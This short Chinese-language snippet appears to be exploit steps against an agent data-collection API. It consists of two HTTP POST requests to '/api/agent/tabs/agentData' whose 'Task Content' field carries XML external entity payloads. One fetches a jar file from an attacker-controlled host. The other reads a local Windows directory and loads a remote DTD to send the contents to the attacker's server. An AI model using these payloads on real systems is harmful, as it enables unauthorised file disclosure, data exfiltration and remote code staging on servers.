建立步驟如下 :
步驟如下 :
POST http://IP:8081/api/agent/tabs/agentData
Content-Type: application/json
[
{
"DomainName": "你的域名",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://IP:Port/upload.jar!/file.txt\"> ]><foo>&ssrf;</foo>"
}
]
POST http://IP:8081/api/agent/tabs/agentData
Content-Type: application/json
[
{
"DomainName": "你的域名",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///C:/Users/Administrator/AppData/Local/Temp\"> <!ENTITY % dtd SYSTEM \"http://IP:Port/data.dtd\"> %dtd; ]> <data>&send;</data> "
}
]